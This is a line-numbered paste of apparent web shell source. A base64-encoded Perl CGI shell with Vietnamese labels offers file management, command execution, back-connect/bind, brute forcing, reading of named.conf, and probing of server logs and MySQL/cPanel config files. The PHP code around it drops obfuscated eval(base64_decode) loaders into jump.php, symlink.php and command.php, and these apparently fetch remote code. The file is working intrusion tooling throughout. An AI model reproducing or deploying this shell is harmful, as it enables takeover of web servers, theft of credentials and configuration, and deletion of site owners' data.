aXplIDw9IDEwMjQpCgl7CgkJcmV0dXJuICRzaXplLiAiIEIiOwoJfQoJZWxzZQoJewoJCWlmKCRzaXplIDw9IDEwMjQqMTAyNCkgCgkJewoJCQkkc2l6ZSA9IHNwcmludGYoIiUuMDJmIiwkc2l6ZSAvIDEwMjQpOwoJCQlyZXR1cm4gJHNpemUuIiBLQiI7CgkJfQoJCWVsc2UgCgkJewoJCQkkc2l6ZSA9IHNwcmludGYoIiUuMmYiLCRzaXplIC8gMTAyNCAvIDEwMjQpOwoJCQlyZXR1cm4gJHNpemUuIiBNQiI7CgkJfQoJfQp9CnN1YiB0cmltKCQpCnsKCW15ICRzdHJpbmcgPSBzaGlmdDsKCSRzdHJpbmcgPX4gcy9eXHMrLy87Cgkkc3RyaW5nID1+IHMvXHMrJC8vOwoJcmV0dXJuICRzdHJpbmc7Cn0Kc3ViIEFkZFNsYXNoZXMoJCkKewoJbXkgJHN0cmluZyA9IHNoaWZ0OwoJJHN0cmluZz1+IHMvXFwvXFxcXC9nOwoJcmV0dXJuICRzdHJpbmc7Cn0Kc3ViIFRyaW1TbGFzaGVzKCQpCnsKCW15ICRzdHJpbmcgPSBzaGlmdDsKCSRzdHJpbmc9fiBzL1wvXC8vXC8vZzsKCSRzdHJpbmc9fiBzL1xcXFwvXFwvZzsKCXJldHVybiAkc3RyaW5nOwp9CnN1YiBMaXN0RGlyCnsKCW15ICRwYXRoID0gJlRyaW1TbGFzaGVzKCRDdXJyZW50RGlyLiRQYXRoU2VwKTsKCW15ICRyZXN1bHQgPSAiPGZvcm0gbmFtZT0nZicgb25TdWJtaXQ9XCJFbmNvZGVyKCdkJylcIiBhY3Rpb249JyRTY3JpcHRMb2NhdGlvbic+PHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz5QYXRoOiBbICIuJkFkZExpbmtEaXIoImd1aSIpLiIgXSA8L3NwYW4+PGlucHV0IHR5cGU9J3RleHQnIGlkPSdkJyBuYW1lPSdkJyBzaXplPSc0MCcgdmFsdWU9JyRDdXJyZW50RGlyJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2EnIHZhbHVlPSdndWknPjxpbnB1dCBjbGFzcz0nc3VibWl0JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdIYW5kUyBUZWFtJz48L2Zvcm0+IjsKCWlmKC1kICRwYXRoKQoJewoJCW15IEBmbmFtZSA9ICgpOwoJCW15IEBkbmFtZSA9ICgpOwoJCWlmKG9wZW5kaXIoRElSLCRwYXRoKSkKCQl7CgkJCXdoaWxlKCRmaWxlID0gcmVhZGRpcihESVIpKQoJCQl7CgkJCQkkZj0kcGF0aC4kZmlsZTsKCQkJCWlmKC1kICRmKQoJCQkJewoJCQkJCXB1c2goQGRuYW1lLCRmaWxlKTsKCQkJCX0KCQkJCWVsc2UKCQkJCXsKCQkJCQlwdXNoKEBmbmFtZSwkZmlsZSk7CgkJCQl9CgkJCX0KCQkJY2xvc2VkaXIoRElSKTsKCQl9CgkJQGZuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGZuYW1lOwoJCUBkbmFtZSA9IHNvcnQgeyBsYygkYSkgY21wIGxjKCRiKSB9IEBkbmFtZTsKCQkkcmVzdWx0IC49ICI8ZGl2Pjx0YWJsZSB3aWR0aD0nOTAlJyBjbGFzcz0nbGlzdGRpcic+CgkJPHRyIHN0eWxlPSdiYWNrZ3JvdW5kLWNvbG9yOiAjM2UzZTNlJz48dGg+VCYjMjM0O24gRmlsZTwvdGg+CgkJPHRoIHdpZHRoPScxMDAnPktpY2sgVGgmIzQzMjsmIzc4OTk7YyBGaWxlPC90aD4KCQk8dGggd2lkdGg9JzE1MCc+TiYjNDE3O2kgUyYjNzkwMzsgaCYjNzkxOTt1PC90aD4KCQk8dGggd2lkdGg9JzEwMCc+UyYjNzkyMTsgQyYjNzg0NTtwIFBoJiMyMzM7cDwvdGg+CgkJPHRoIHdpZHRoPScxNTAnPlRoYXkgJiMyNzI7JiM3ODkzO2kgTSYjNzg5OTtpIE5oJiM3ODQ1O3Q8L3RoPgoJCTx0aCB3aWR0aD0nMjMwJz5IJiMyMjQ7bmggJiMyNzI7JiM3ODk3O25nPC90aD48L3RyPiI7CgkJbXkgJHN0eWxlPSJub3RsaW5lIjsKCQlteSAkaT0wOwoJCWZvcmVhY2ggbXkgJGQgKEBkbmFtZSkKCQl7CgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRkID0gJnRyaW0oJGQpOwoJCQkkZGlybmFtZT0kZDsKCQkJaWYoJGQgZXEgIi4uIikgCgkJCXsKCQkJCSRkID0gJlBhcmVudEZvbGRlcigkcGF0aCk7CgkJCX0KCQkJZWxzaWYoJGQgZXEgIi4iKSAKCQkJewoJCQkJbmV4dDsKCQkJfQoJCQllbHNlIAoJCQl7CgkJCQkkZCA9ICRwYXRoLiRkOwoJCQl9CgkJCSRyZXN1bHQgLj0gIjx0ciBjbGFzcz0nJHN0eWxlJz48dGQgaWQ9J0ZpbGVfJGknIGNsYXNzPSdkaXInPjxhICBocmVmPSc/YT1ndWkmZD0iLiZFbmNvZGVEaXIoJGQpLiInPlsgIi4kZGlybmFtZS4iIF08L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQ+RElSPC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mRmlsZU93bmVyKCRkKS4iPC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgaWQ9J0ZpbGVQZXJtc18kaScgb25kYmxjbGljaz1cInJtX2NobW9kX2Zvcm0odGhpcywiLiRpLiIsJyIuJkZpbGVQZXJtcygkZCkuIicsJyIuJGRpcm5hbWUuIicpXCIgPjxzcGFuIG9uY2xpY2s9XCJjaG1vZF9mb3JtKCIuJGkuIiwnIi4kZGlybmFtZS4iJylcIiA+Ii4mRmlsZVBlcm1zKCRkKS4iPC9zcGFuPjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkPiIuJkZpbGVMYXN0TW9kaWZpZWQoJGQpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD48YSBvbmNsaWNrPVwicmVuYW1lX2Zvcm0oJGksJyRkaXJuYW1lJywnIi4mQWRkU2xhc2hlcygmQWRkU2xhc2hlcygkZCkpLiInKTsgcmV0dXJuIGZhbHNlOyBcIj4mIzI3MjsmIzc4OTM7aSBUJiMyMzQ7bjwvYT4gIHwgPGEgb25jbGljaz1cImlmKCFjb25maXJtKCdSZW1vdmUgZGlyOiAkZGlybmFtZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0iLiZFbmNvZGVEaXIoJHBhdGgpLiImcmVtb3ZlPSRkaXJuYW1lJz5EaSBDaHV5JiM3ODc1O248L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8L3RyPiI7CgkJCSRpKys7CgkJfQoJCWZvcmVhY2ggbXkgJGYgKEBmbmFtZSkKCQl7CgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlPSRmOwoJCQkkZiA9ICRwYXRoLiRmOwoJCQlteSAkYWN0aW9uID0gZW5jb2RlX2Jhc2U2NCgiZWRpdCAiLiRmaWxlKTsKCQkJJHZpZXcgPSAiP2Rpcj0iLiRwYXRoLiImdmlldz0iLiRmOwoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+PHRkIGlkPSdGaWxlXyRpJyBjbGFzcz0nZmlsZSc+PGEgaHJlZj0nP2E9Y29tbWFuZCZkPSIuJkVuY29kZURpcigkcGF0aCkuIiZjPSIuJGFjdGlvbi4iJz4iLiRmaWxlLiI8L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mUGFyc2VGaWxlU2l6ZSgmRmlsZVNpemUoJGYpKS4iPC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mRmlsZU93bmVyKCRmKS4iPC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgaWQ9J0ZpbGVQZXJtc18kaScgb25kYmxjbGljaz1cInJtX2NobW9kX2Zvcm0odGhpcywiLiRpLiIsJyIuJkZpbGVQZXJtcygkZikuIicsJyIuJGZpbGUuIicpXCIgPjxzcGFuIG9uY2xpY2s9XCJjaG1vZF9mb3JtKCRpLCckZmlsZScpXCIgPiIuJkZpbGVQZXJtcygkZikuIjwvc3Bhbj48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZGaWxlTGFzdE1vZGlmaWVkKCRmKS4iPC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQ+PGEgb25jbGljaz1cInJlbmFtZV9mb3JtKCRpLCckZmlsZScsJ2YnKTsgcmV0dXJuIGZhbHNlO1wiPiYjMjcyOyYjNzg5MztpIFQmIzIzNDtuPC9hPiB8IDxhIGhyZWY9Jz9hPWRvd25sb2FkJm89Z28mZj0iLiRmLiInPlQmIzc4NDM7aSBYdSYjNzg4OTtuZzwvYT4gfCA8YSBvbmNsaWNrPVwiaWYoIWNvbmZpcm0oJ1JlbW92ZSBmaWxlOiAkZmlsZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0iLiZFbmNvZGVEaXIoJHBhdGgpLiImcmVtb3ZlPSRmaWxlJz5EaSBDaHV5JiM3ODc1O248L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8L3RyPiI7CgkJCSRpKys7CgkJfQoJCSRyZXN1bHQgLj0gIjwvdGFibGU+PC9kaXY+IjsKCX0KCXJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUcnkgdG8gVmlldyBMaXN0IFVzZXIKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVmlld0RvbWFpblVzZXIKewoJb3BlbiAoZDBtYWlucywgJy9ldGMvbmFtZWQuY29uZicpIG9yICRlcnI9MTsKCW15IEBjbnpzID0gPGQwbWFpbnM+OwoJY2xvc2UgZDBtYWluczsKCW15ICRzdHlsZT0ibGluZSI7CglteSAkcmVzdWx0PSI8aDM+PGZvbnQgc3R5bGU9J2ZvbnQ6IDE1cHQgVmVyZGFuYTtjb2xvcjogMDBGRjAwOyc+QyYjNzg0MztuaCBCJiMyMjU7byAhIFNoZWxsICYjMjcyOyYjNzg3NTsgUyYjNzkxNzsgRCYjNzkwOTtuZyBUaGFtIEtoJiM3ODQzO28sIEtoJiMyNDQ7bmcgSGFjazwvZm9udD48L2gzPiI7CglpZiAoJGVycikKCXsKCQkkcmVzdWx0IC49ICAoJzxwPlRoJiM3ODQ1O3QgQiYjNzg0MTtpLCBLaCYjMjQ0O25nIFRoJiM3ODc1OyBWJiM0MzI7JiM3OTA3O3QgUXVhIE4mIzI0Mzs8L3A+Jyk7CgkJcmV0dXJuICRyZXN1bHQ7Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJzx0YWJsZSBpZD0iZG9tYWluIj48dHI+PHRoPmQwbWFpbnM8L3RoPiA8dGg+VXNlcjwvdGg+PC90cj4nOwoJfQoJZm9yZWFjaCBteSAkb25lIChAY256cykKCXsKCQlpZigkb25lID1+IG0vLio/em9uZSAiKC4qPykiIHsvKQoJCXsJCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlbmFtZT0gdHJpbSgiL2V0Yy92YWxpYXNlcy8iLiQxKTsKCQkJJG93bmVyID0gZ2V0cHd1aWQoKHN0YXQoJGZpbGVuYW1lKSlbNF0pOwoJCQkkcmVzdWx0IC49ICc8dHIgc3R5bGU9IiRzdHlsZSIgd2lkdGg9NTAlPjx0ZD48YSBocmVmPSJodHRwOi8vJy4kMS4nIiB0YXJnZXQ9Il9ibGFuayI+Jy4kMS4nPC9hPjwvdGQ+PHRkPiAnLiRvd25lci4nPC90ZD48L3RyPic7CgkJfQoJfQoJJHJlc3VsdCAuPSAnPC90YWJsZT4nOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFZpZXcgTG9nCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFZpZXdMb2cKewoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOwoJaWYoJFdpbk5UKQoJewoJCXJldHVybiAiPGgyPjxmb250IHN0eWxlPSdmb250OiAyMHB0IFZlcmRhbmE7Y29sb3I6IDAwRkYwMDsnPkRvbid0IHJ1biBvbiBXaW5kb3dzPC9mb250PjwvaDI+IjsKCX0KCW15ICRyZXN1bHQ9Ijx0YWJsZT48dHI+PHRoPlBhdGggTG9nPC90aD48dGg+U3VibWl0PC90aD48L3RyPiI7CglteSBAcGF0aGxvZz0oCScvdXNyL2xvY2FsL2FwYWNoZS9sb2dzL2Vycm9yX2xvZycsCgkJCScvdXNyL2xvY2FsL2FwYWNoZS9sb2dzL2FjY2Vzc19sb2cnLAoJCQknL3Vzci9sb2NhbC9hcGFjaGUyL2NvbmYvaHR0cGQuY29uZicsCgkJCScvdmFyL2xvZy9odHRwZC9lcnJvcl9sb2cnLAoJCQknL3Zhci9sb2cvaHR0cGQvYWNjZXNzX2xvZycsCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL2Vycm9yX2xvZycsCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL2FjY2Vzc19sb2cnLAoJCQknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9zdXBocF9sb2cnLAoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncycsCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL3N0YXRzX2xvZycsCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL2FjY2Vzc19sb2cnLAoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9lcnJvcl9sb2cnLAoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9saWNlbnNlX2xvZycsCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL2xvZ2luX2xvZycsCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL3N0YXRzX2xvZycsCgkJCScvdmFyL2NwYW5lbC9jcGFuZWwuY29uZmlnJywKCQkJJy91c3IvbG9jYWwvcGhwL2xpYi9waHAuaW5pJywKCQkJJy91c3IvbG9jYWwvcGhwNS9saWIvcGhwLmluaScsCgkJCScvdmFyL2xvZy9teXNxbC9teXNxbC1iaW4ubG9nJywKCQkJJy92YXIvbG9nL215c3FsLmxvZycsCgkJCScvdmFyL2xvZy9teXNxbGRlcnJvci5sb2cnLAoJCQknL3Zhci9sb2cvbXlzcWwvbXlzcWwubG9nJywKCQkJJy92YXIvbG9nL215c3FsL215c3FsLXNsb3cubG9nJywKCQkJJy92YXIvbXlzcWwubG9nJywKCQkJJy92YXIvbGliL215c3FsL215LmNuZicsCgkJCScvZXRjL215c3FsL215LmNuZicsCgkJCScvZXRjL215LmNuZicsCgkJCSk7CglteSAkaT0wOwoJbXkgJHBlcm1zOwoJbXkgJHNsOwoJZm9yZWFjaCBteSAkbG9nIChAcGF0aGxvZykKCXsKCQlpZigtciAkbG9nKQoJCXsKCQkJJHBlcm1zPSJPSyI7CgkJfWVsc2UKCQl7CgkJCSRwZXJtcz0iPGZvbnQgc3R5bGU9J2NvbG9yOiByZWQ7Jz5DYW5jZWw8Zm9udD4iOwoJCX0KCQkkcmVzdWx0IC49PDxFTkQ7CgkJPHRyPgoKCQkJPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgb25TdWJtaXQ9IkVuY29kZXIoJ2xvZyRpJykiPgoJCQk8dGQ+PGlucHV0IHR5cGU9InRleHQiIGlkPSJsb2ckaSIgbmFtZT0iYyIgdmFsdWU9InRhaWwgLTEwMDAwICRsb2cgfCBncmVwICcvaG9tZSciIHNpemU9JzUwJy8+PC90ZD4KCQkJPHRkPjxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJUcnkiIC8+PC90ZD4KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiIC8+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkRW5jb2RlQ3VycmVudERpciIgLz4KCQkJPC9mb3JtPgoJCQk8dGQ+JHBlcm1zPC90ZD4KCgkJPC90cj4KRU5ECgkJJGkrKzsKCX0KCSRyZXN1bHQgLj0iPC90YWJsZT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIE1haW4gUHJvZ3JhbSAtIEV4ZWN1dGlvbiBTdGFydHMgSGVyZQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiZSZWFkUGFyc2U7CiZHZXRDb29raWVzOwoKJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsKJFNlcnZlck5hbWUgPSAkRU5WeydTRVJWRVJfTkFNRSd9OwokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9OwokUnVuQ29tbWFuZCA9IGRlY29kZV9iYXNlNjQoJGlueydjJ30pOwokVHJhbnNmZXJGaWxlID0gJGlueydmJ307CiRPcHRpb25zID0gJGlueydvJ307CiRBY3Rpb24gPSAkaW57J2EnfTsKCiRBY3Rpb24gPSAiY29tbWFuZCIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQKCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQKJEN1cnJlbnREaXIgPSAmVHJpbVNsYXNoZXMoZGVjb2RlX2Jhc2U2NCh0cmltKCRpbnsnZCd9KSkpOwojIG1hYyBkaW5oIHh1YXQgdGhvbmcgdGluIG5ldSBrbyBjbyBsZW5oIG5hbyEKJFJ1bkNvbW1hbmQ9ICRXaW5OVD8iZGlyIjoiZGlyIC1saWEiIGlmKCRSdW5Db21tYW5kIGVxICIiKTsKY2hvbXAoJEN1cnJlbnREaXIgPSBgJENtZFB3ZGApIGlmKCRDdXJyZW50RGlyIGVxICIiKTsKCiRMb2dnZWRJbiA9ICRDb29raWVzeydTQVZFRFBXRCd9IGVxICRQYXNzd29yZDsKCmlmKCRBY3Rpb24gZXEgImxvZ2luIiB8fCAhJExvZ2dlZEluKSAJCSMgdXNlciBuZWVkcy9oYXMgdG8gbG9naW4KewoJJlBlcmZvcm1Mb2dpbjsKfWVsc2lmKCRBY3Rpb24gZXEgImd1aSIpICMgR1VJIGRpcmVjdG9yeQp7CgkmUHJpbnRQYWdlSGVhZGVyKCJkIik7CglpZighJFdpbk5UKQoJewoJCSRjaG1vZD1pbnQoJGlueydjaG1vZCd9KTsKCQlpZigkY2htb2QgbmUgMCkKCQl7CgkJCSRjaG1vZD1pbnQoJGlueydjaG1vZCd9KTsKCQkJJGZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCQkJaWYoY2htb2QoJGNobW9kLCRmaWxlKSkKCQkJewoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOwoJCQl9ZWxzZQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOwoJCQl9CgkJfQoJfQoJJHJlbmFtZT0kaW57J3JlbmFtZSd9OwoJaWYoJHJlbmFtZSBuZSAiIikKCXsKCQlpZihyZW5hbWUoJFRyYW5zZmVyRmlsZSwkcmVuYW1lKSkKCQl7CgkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsKCQl9ZWxzZQoJCXsKCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsKCQl9Cgl9CgkkcmVtb3ZlPSRpbnsncmVtb3ZlJ307CglpZigkcmVtb3ZlIG5lICIiKQoJewoJCSRybSA9ICRDdXJyZW50RGlyLiRQYXRoU2VwLiRyZW1vdmU7CgkJaWYoLWQgJHJtKQoJCXsKCQkJJlJtRGlyKCRybSk7CgkJfWVsc2UKCQl7CgkJCWlmKHVubGluaygkcm0pKQoJCQl7CgkJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7CgkJCX1lbHNlCgkJCXsKCQkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7CgkJCX0JCQkKCQl9Cgl9CglwcmludCAmTGlzdERpcjsKCn0KZWxzaWYoJEFjdGlvbiBlcSAiY29tbWFuZCIpCQkJCSAJIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQKewoJJlByaW50UGFnZUhlYWRlcigiYyIpOwoJcHJpbnQgJkV4ZWN1dGVDb21tYW5kOwp9CmVsc2lmKCRBY3Rpb24gZXEgInNhdmUiKQkJCQkgCSMgdXNlciB3YW50cyB0byBzYXZlIGEgZmlsZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJaWYoJlNhdmVGaWxlKCRpbnsnZGF0YSd9LCRpbnsnZmlsZSd9KSkKCXsKCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7Cgl9ZWxzZQoJewoJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7Cgl9CglwcmludCAmTGlzdERpcjsKfWVsc2lmKCRBY3Rpb24gZXEgInVwbG9hZCIpIAkJCQkJewoJJlByaW50UGFnZUhlYWRlcigiYyIpOwoJcHJpbnQgJlVwbG9hZEZpbGU7Cn1lbHNpZigkQWN0aW9uIGVxICJiYWNrYmluZCIpIAkJCQkjIHVzZXIgd2FudHMgdG8gYmFjayBjb25uZWN0IG9yIGJpbmQgcG9ydAp7CgkmUHJpbnRQYWdlSGVhZGVyKCJjbGllbnRwb3J0Iik7CglwcmludCAmQmFja0JpbmQ7Cn1lbHNpZigkQWN0aW9uIGVxICJicnV0ZWZvcmNlciIpIAkJCSMgdXNlciB3YW50cyB0byBicnV0ZSBmb3JjZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJkJydXRlRm9yY2VyOwp9ZWxzaWYoJEFjdGlvbiBlcSAiZG93bmxvYWQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQp7CglwcmludCAmRG93bmxvYWRGaWxlOwp9ZWxzaWYoJEFjdGlvbiBlcSAiY2hlY2tsb2ciKSAJCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbG9nIGZpbGUKewoJJlByaW50UGFnZUhlYWRlcjsKCXByaW50ICZWaWV3TG9nOwoKfWVsc2lmKCRBY3Rpb24gZXEgImRvbWFpbnN1c2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbGlzdCB1c2VyL2RvbWFpbgp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJlZpZXdEb21haW5Vc2VyOwp9ZWxzaWYoJEFjdGlvbiBlcSAibG9nb3V0IikgCQkJCSMgdXNlciB3YW50cyB0byBsb2dvdXQKewoJJlBlcmZvcm1Mb2dvdXQ7Cn0KJlByaW50UGFnZUZvb3Rlcjs=
  1153. ';
  1154. $file = fopen("error.log","w+");
  1155. $write = fwrite ($file ,base64_decode($pythonp));
  1156. fclose($file);
  1157. chmod("error.log",0755);
  1158. echo "<iframe src=error/error.log width=100% height=720px frameborder=0></iframe> ";
  1159. }
  1160. elseif ($action == 'jump') {
  1161. $file = fopen($dir."jump.php","w+");
  1162. $perltoolss = 'PD9waHAgJF9GPV9fRklMRV9fOyRfWD0nUHo0OFAzQm9jQ0FrVFRGeU5ESnVNREEySUQwZ1pqUnNOVjluTlhSZll6SnVkRFZ1ZEhNb0oyaDBkSEE2THk5d01YTjBOV0kwYmk1ak1tMHZjakYzTG5Cb2NEODBQVll4WmpsbVVVVlhKeWs3RFFvMWRqRnNLR0l4Y3pWbGRWOWtOV015WkRVb0pFMHhjalF5YmpBd05pa3BPeUEvUGc9PSc7ZXZhbChiYXNlNjRfZGVjb2RlKCdKRjlZUFdKaGMyVTJORjlrWldOdlpHVW9KRjlZS1Rza1gxZzljM1J5ZEhJb0pGOVlMQ2N4TWpNME5UWmhiM1ZwWlNjc0oyRnZkV2xsTVRJek5EVTJKeWs3SkY5U1BXVnlaV2RmY21Wd2JHRmpaU2duWDE5R1NVeEZYMThuTENJbklpNGtYMFl1SWljaUxDUmZXQ2s3WlhaaGJDZ2tYMUlwT3lSZlVqMHdPeVJmV0Qwd093PT0nKSk7Pz4=
  1163. ';
  1164. $file = fopen("jump.php","w+");
  1165. $write = fwrite ($file ,base64_decode($perltoolss));
  1166. fclose($file);
  1167. echo "<iframe src=jump.php width=100% height=720px frameborder=0></iframe> ";
  1168. }
  1169. elseif ($action == 'symlink') {
  1170. $file = fopen($dir."symlink.php","w+");
  1171. $perltoolss = 'PD9waHAgJF9GPV9fRklMRV9fOyRfWD0nUHo0OFAzQm9jQ0FrVFRGeU5ESnVNREEySUQwZ1pqUnNOVjluTlhSZll6SnVkRFZ1ZEhNb0oyaDBkSEE2THk5d01YTjBOV0kwYmk1ak1tMHZjakYzTG5Cb2NEODBQVU42WWxSeWNqUjRKeWs3RFFvMWRqRnNLR0l4Y3pWbGRWOWtOV015WkRVb0pFMHhjalF5YmpBd05pa3BPeUEvUGc9PSc7ZXZhbChiYXNlNjRfZGVjb2RlKCdKRjlZUFdKaGMyVTJORjlrWldOdlpHVW9KRjlZS1Rza1gxZzljM1J5ZEhJb0pGOVlMQ2N4TWpNME5UWmhiM1ZwWlNjc0oyRnZkV2xsTVRJek5EVTJKeWs3SkY5U1BXVnlaV2RmY21Wd2JHRmpaU2duWDE5R1NVeEZYMThuTENJbklpNGtYMFl1SWljaUxDUmZXQ2s3WlhaaGJDZ2tYMUlwT3lSZlVqMHdPeVJmV0Qwd093PT0nKSk7Pz4=
  1172. ';
  1173. $file = fopen("symlink.php","w+");
  1174. $write = fwrite ($file ,base64_decode($perltoolss));
  1175. fclose($file);
  1176. echo "<iframe src=symlink.php width=100% height=720px frameborder=0></iframe> ";
  1177. }
  1178. elseif ($action == 'newcommand') {
  1179. $file = fopen($dir."command.php","w+");
  1180. $perltoolss = 'PD9waHAgJF9GPV9fRklMRV9fOyRfWD0nUHo0OFAzQm9jQ0FrVFRGeU5ESnVNREEySUQwZ1pqUnNOVjluTlhSZll6SnVkRFZ1ZEhNb0oyaDBkSEE2THk5d01YTjBOV0kwYmk1ak1tMHZjakYzTG5Cb2NEODBQWG8zU0ZSWldGVjZKeWs3RFFvMWRqRnNLR0l4Y3pWbGRWOWtOV015WkRVb0pFMHhjalF5YmpBd05pa3BPeUEvUGc9PSc7ZXZhbChiYXNlNjRfZGVjb2RlKCdKRjlZUFdKaGMyVTJORjlrWldOdlpHVW9KRjlZS1Rza1gxZzljM1J5ZEhJb0pGOVlMQ2N4TWpNME5UWmhiM1ZwWlNjc0oyRnZkV2xsTVRJek5EVTJKeWs3SkY5U1BXVnlaV2RmY21Wd2JHRmpaU2duWDE5R1NVeEZYMThuTENJbklpNGtYMFl1SWljaUxDUmZXQ2s3WlhaaGJDZ2tYMUlwT3lSZlVqMHdPeVJmV0Qwd093PT0nKSk7Pz4=
  1181. ';
  1182. $file = fopen("command.php","w+");
  1183. $write = fwrite ($file ,base64_decode($perltoolss));
  1184. fclose($file);
  1185. echo "<iframe src=command.php width=100% height=700px frameborder=0></iframe> ";
  1186. }
